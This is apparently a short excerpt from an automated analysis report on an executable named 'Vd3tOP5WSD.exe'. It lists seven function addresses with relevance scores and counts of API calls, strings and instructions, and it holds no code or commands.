Vd3tOP5WSD.exe

Function 00405AAA Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 448
stringCOMMON

Function 0040620B Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 445
stringCOMMON

Function 0042B9C5 Relevance: 16.7, Strings: 13, Instructions: 436
COMMON

Function 0040A928 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 475
stringCOMMON

Function 0042FD35 Relevance: 14.1, Strings: 11, Instructions: 308
COMMON

Function 004262A1 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 391
libraryCOMMON

Function 0040B129 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375
nativefileCOMMON